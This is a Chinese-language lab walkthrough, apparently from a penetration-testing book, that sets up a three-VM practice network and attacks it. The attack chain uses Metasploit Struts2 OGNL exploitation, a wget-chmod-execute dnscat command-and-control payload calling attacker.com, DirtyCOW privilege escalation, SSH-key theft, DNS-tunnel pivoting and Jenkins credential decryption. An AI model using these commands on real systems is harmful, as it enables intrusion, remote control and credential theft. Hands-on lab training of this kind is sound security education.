Question

横向迁移的问题在于，如果没有搭建迁移的网络环境，则很难进行练习。因此，我们将为您介绍网络空间猫安全实验室。在这个实验室中，您可以在设备之间进行迁移，使用最新的漏洞进行权限提升攻击，所有操作均在 Linux 环境中完成。

搭建虚拟环境

虚拟环境实验室的设置稍微复杂一些，这是因为网络需要运行 3 个不同的静态虚拟机，并且需要进行一些提前的设置。所有这些都在 VMWare Workstation 和 VMware Fusion 环境中进行了测试，因此，如果您使用的是 VirtualBox，则可能需要先进行测试。

下载 3 台虚拟机。

• 虽然您不需要这些设备的 root 账户，但这里给出用户名/密码：hacker/changeme。

所有这 3 个虚拟机都配置为使用 NAT 网络接口。要使此实验室正常工作，您必须在 VMWare 中配置虚拟机的 NAT 设置，使用 172.16.250.0/24 网络。注意，需要在 Windows VMWare Workstation 中执行此操作。

• 在菜单栏中，转到编辑→虚拟网络编辑器→更改设置。
• 选择 NAT 类型的接口（我的是 VMnet8）。
• 更改子网 IP 172.16.250.0 并单击申请。

在 macOS 操作系统中，设置更为复杂，您需要执行以下步骤。

• 复制原始 dhcpd.conf，作为备份。
  • sudo cp /Library/Preferences/VMware\Fusion/vmnet8/dhcpd.conf/Library/ Preferences/ VMware\Fusion/vmnet8/dhcpd.conf.bakup
• 编辑 dhcpd.conf 文件，使用 172.16.250.x 而不是 192.168.x.x.网络。
  • sudo vi /Library/Preferences/VMware\Fusion/vmnet8/dhcpd.conf
• 编辑 nat.conf，使用正确的网关。
  • sudo vi /Library/Preferences/VMware \ Fusion/vmnet8/nat.conf
  • # NAT gateway address
  • ip= 172.16.250.2
  • netmask= 255.255.255.0
• 重启服务。
  • sudo/Applications/VMware\Fusion.app/Contents/Library/services/services.sh --stop
  • sudo/Applications/VMware\Fusion.app/Contents/Library/services/services.sh --start

现在，您以 NAT 模式启动 THP Kali 虚拟机，获得 172.16.250.0/24 范围内的动态 IP 地址。如果您愿意，则可以同时启动所有其他 3 个实验室设备，开启“黑客”征程。

攻击 CSK 安全网络

您最终已经从 Windows 环境迁移到安全的生产网络。根据所有的调查和研究数据，您知道所有的秘密都存储在这里。这是受保护较多的网络之一，我们知道其安全基础设施已经进行了隔离。从他们的文档来看，有多个虚拟局域网需要突破，设备之间需要迁移，从而进入数据库。这就是您“训练”过的一切……

迁移到安全网络区域的外部，您看到这个网络配置为 172.16.250.0/24。由于对这个网络知之甚少，因此首先要开始进行一些非常轻量级的 Nmap 扫描。您需要了解从网络外部可以访问这个网络的哪些系统，从而确定如何开始攻击。

扫描安全网络：

• nmap 172.16.250.0/24

您注意到有 3 个设备正在运行，但只有一个设备开启了网站端口。看起来其他两个设备是与安全网络的外部网络隔离的，这意味着我们必须先突破 172.16.250.10 设备，才能迁移进入其他两个服务器。访问第一个设备（172.16.250.10），您会看到 Apache Tomcat 正在监听端口 8080，而某些 openCMS 正在端口 80 上运行。运行网站模糊测试工具，您注意到 openCMS 页面也在运行 Apache Struts2（/struts2-showcase），如图 4.49 所示。瞬间，Equifax 漏洞的闪回就像砖块一样击中您。您或许认为这太走运了，但无论如何您必须进行尝试。您在 msfconsole 上运行快速搜索，测试漏洞“struts2_content_ type_ognl”。

图 4.49

我们知道 CSK 会严密监控其受保护的网络流量，其内部服务器可能无法直接访问公司的网络。为了解决这个问题，我们使用 DNS 命令和控制静荷，协议采用 UDP 而不是 TCP。当然，在真实情况下，我们可能会使用权威的 DNS 服务器，但是在实验室，我们选择自己的 DNS 服务器。

[THP Kali 虚拟机]

THP Kali 自定义虚拟机提供所有工具，实现此次攻击，如图 4.50 所示。

图 4.50

• 由于我们需要在网站服务器上托管静荷，因此 Metasploit 静荷能够获取 dnscat 恶意软件。在 dnscat2 客户端文件夹中是 dnscat 二进制文件。
  • cd /opt/dnscat2/client/
  • python -m SimpleHTTPServer 80
• 启动 dnscat 服务器。
  • cd /opt/dnscat2/server/
  • ruby ./dnscat2.rb
• 记录 dnscat 密钥。
• 打开新的终端，加载 Metasploit。
  • msfconsole
• 搜索 struts2，加载 struts2 漏洞工具。
  • search struts2
  • use exploit/multi/http/struts2_content_type_ognl
• 配置 struts2 漏洞，获取 dnscat 静荷并在被攻击者服务器上执行。确保在这之前，更新您的 IP 地址和密钥，如图 4.51 所示。
  • set RHOST 172.16.250.10
  • set RPORT 80
  • set TARGETURI struts2-showcase/showcase.action
  • set PAYLOAD cmd/unix/generic
  • set CMD wget http://<your_ip>/dnscat -O /tmp/dnscat && chmod +x /tmp/dnscat && /tmp/dnscat --dns server=attacker.com,port=53 --secret=<Your Secret Key>
  • run

图 4.51

• 静荷执行后，在 Metasploit 中您将无法获得任何类型的确认，因为使用了 dnscat 静荷。您将需要检查 dnscat 服务器，查看 DNS 流量的连接。
• 回到 dnscat2 服务器，检查新执行的静荷，并创建 Shell 终端，如图 4.52 所示。
  • 与您的第一个静荷交互
  • window -i 1
  • 复制 Shell 进程
  • shell
  • 使用键盘按键返回主菜单
  • Ctrl+ Z
  • 与新 Shell 进行交互
  • window -i 2
  • 输入 Shell 命令
  • ls

图 4.52

您已经突破了 OpenCMS/Apache Struts 服务器！现在怎么办？您花了一些时间了解服务器，查找各种“秘密”。您记得服务器正在运行 OpenCMS 网站应用程序，并确定该应用程序是在/opt/tomcat/webapps/kittens 下配置的。在查看 OpenCMS 属性的配置文件时，我们找到了数据库、用户名、密码和 IP 地址 172.16.250.10。

检索数据库信息，如图 4.53 所示。

• cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties

图 4.53

我们连接到数据库，但并没有发现太多有用的信息。问题是我们目前是一个受限的 Tomcat 用户，这实际上阻碍了进一步的攻击。因此，我们需要找到提升权限的方法。在服务器上运行后漏洞侦察工具（uname -a && lsb_release -a），您发现这是一个非常古老的 Ubuntu 版本。但是，这个服务器存在 DirtyCOW 权限提升漏洞。我们创建一个 DirtyCOW 二进制文件并获取 root 权限！

通过 dnscat 进行权限提升，如图 4.54 所示。

• 下载并编译 DirtyCOW 工具。
  • cd /tmp
  • wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c
  • gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
  • ./dirtycow-mem
• 尝试 DirtyCOW 漏洞工具，在内核恐慌时，允许重启。
  • echo 0 >/proc/sys/vm/dirty_writeback_centisecs
  • echo 1 >/proc/sys/kernel/panic && echo 1 >
    /proc/sys/kernel/panic_on_oops&& echo 1 >
    /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 >
    /proc/sys/kernel/panic_on_io_nmi && echo 1 >
    /proc/sys/kernel/panic_on_warn
• whoami。

图 4.54

注意：DirtyCOW 漏洞用于权限提升并不是很稳定。如果漏洞利用存在一些问题，可查看我的 GitHub 页面，了解更稳定的创建 setuid 二进制文件的方法。

• 如果仍然存在问题，另一个选择是通过 SSH 工具登录第一个服务器，并以 root 身份执行 dnscat 静荷。登录时，可使用凭证 hacker/changeme 和 sudo su - root。

现在，由于主机系统没有打补丁，因此您已成为系统的 root 用户。当您再次登录设备，并查找秘密信息时，您会看到 root 的 bash 历史文件。在此文件中，您可以找到 SSH 命令和私有 SSH 密钥引用。我们可以使用此 SSH 密钥，登录到我们的第二个设备 172.16.250.30，如图 4.55 所示。

• cat ~/.bash_history
• head ~/.ssh/id_rsa
• ssh -i ~/.ssh/id_rsa root@172.16.250.30

图 4.55

您花了一些时间在第二个设备上，并尝试了解它的用途。在搜索时，您会注意到/home 目录中有一个 Jenkins 用户，这会导致您识别在端口 8080 上运行 Jenkins 服务。我们如何使用浏览器查看 Jenkins 服务器上的内容？在这里，dnscat 的端口转发功能发挥了作用。我们需要退出最初的 Shell，切换到命令终端。从那里，我们需要设置一个监听器，以便通过 dnscat 将流量从攻击者主机经过 8080 端口转发到 Jenkins 设备（172.16.250.30）。

执行 dnscat 端口转发，如图 4.56 所示。

• 退出我们当前的 Shell。
  • Ctrl + Z
• 返回我们的第一个命令代理并设置一个监听/端口转发。
  • window -i 1
  • listen 127.0.0.1:8080 172.16.250.30:8080
• 在您的 THP Kali 虚拟机上，通过浏览器和端口转发协议（使用 DNS 协议，速度非常慢）。
  • http://127.0.0.1:8080/jenkins

图 4.56

在 Jenkins 应用程序的凭证管理器内部，我们将看到 db_backup 用户密码已经存储，但是无法访问，如图 4.57 所示。我们需要找出一种方法，获取 Jenkins 的凭证，从而可以继续横向移动。

图 4.57

n00py 在 Jenkins 凭证存储和提取方面做了一些研究。我们可以在此基础上，使用现有的 Shell 获取 credentials.xml、master.key 和 hudson.util.Secret 文件。

• 返回 dnscat 中的主菜单并与原始 Shell 进行交互。
  • Ctrl + Z
  • window -i 2
• 转到 Jenkins 的主目录，获取 3 个文件：credentials.xml、master.key 和 hudson.util.Secret。
  • cd /home/Jenkins
• 我们尝试下载这 3 个文件，或者采用 base64 编码从当前 Shell 复制。
  • base64 credentials.xml
  • base64 secrets/hudson.util.Secret
  • base64 secrets/master.key
• 可以将 base64 输出复制到 Kali 虚拟机中，解码它们，恢复 db_backup 用户的密码。
  • cd /opt/jenkins-decrypt
  • echo "<base64 hudson.util.Secret>" | base64 --decode >hudson.util.Secret
  • echo "<base64 master.key >" | base64 --decode > master.key
  • echo "<base64 credentials.xml >" | base64 --decode >credentials.xml
• 破解密码，如图 4.58 所示。
  • python3 ./decrypt.py master.key hudson.util.Secret credentials.xml

图 4.58

我们成功破解了 db_backup 用户的密码“)uDvra {4UL ^; r?* h”。如果我们回顾一下之前的提示，可以在 OpenCMS 属性文件中发现数据库服务器位于 172.16.250.50。出于某种原因，这个 Jenkins 服务器看起来对数据库服务器执行了某种备份。让我们检查一下是否可以基于 db_backup 的凭证：}uDvra {4UL ^; r?* h，使用 SSH 工具登录数据库服务器。唯一的问题是通过 dnscat shell，我们没有直接按标准输入（STDIN），实现 SSH 的密码交互输入。因此，我们需要再次使用端口转发，将我们的 SSH Shell 从 THP Kali VM，通过 dnscat 代理转到数据库服务器（172.16.250.50）。

• 返回命令 Shell。
  • Ctrl + Z
  • window -i 1
• 创建一个新的端口转发通道，从本地转到 172.16.250.50 的数据库服务器，如图 4.59 所示。
  • listen 127.0.0.1:2222 172.16.250.50:22

一旦使用 db_backup 账户进入数据库服务器（172.16.250.50），我们就会注意到此账户是超级管理员之一，并且可以利用 sudo su 命令进入 root。一旦以 root 权限登录数据库服务器，我们四处寻找，但找不到任何访问数据库的凭证。我们可以重置 root 数据库密码，但最终可能会影响其他一些应用程序的使用。我们在/var/lib/mysql 下搜索到其他的数据库，并找到一个 cyberspacekittens 数据库。在这里，我们找到了 secrets.ibd 文件，它包括密码列表的所有数据，如图 4.60 所示。在阅读数据时，我们意识到它可能是加密的。

图 4.59

图 4.60

至此，您已成功入侵 CSK 公司网络。

不要停在这里，您可以用这些设备做很多事情，我们只介绍了很少的内容。您可以随意在这些系统上操作，查找更多的敏感文件，找出其他权限升级方式等。作为参考，本实验的环境拓扑如图 4.61 所示。

图 4.61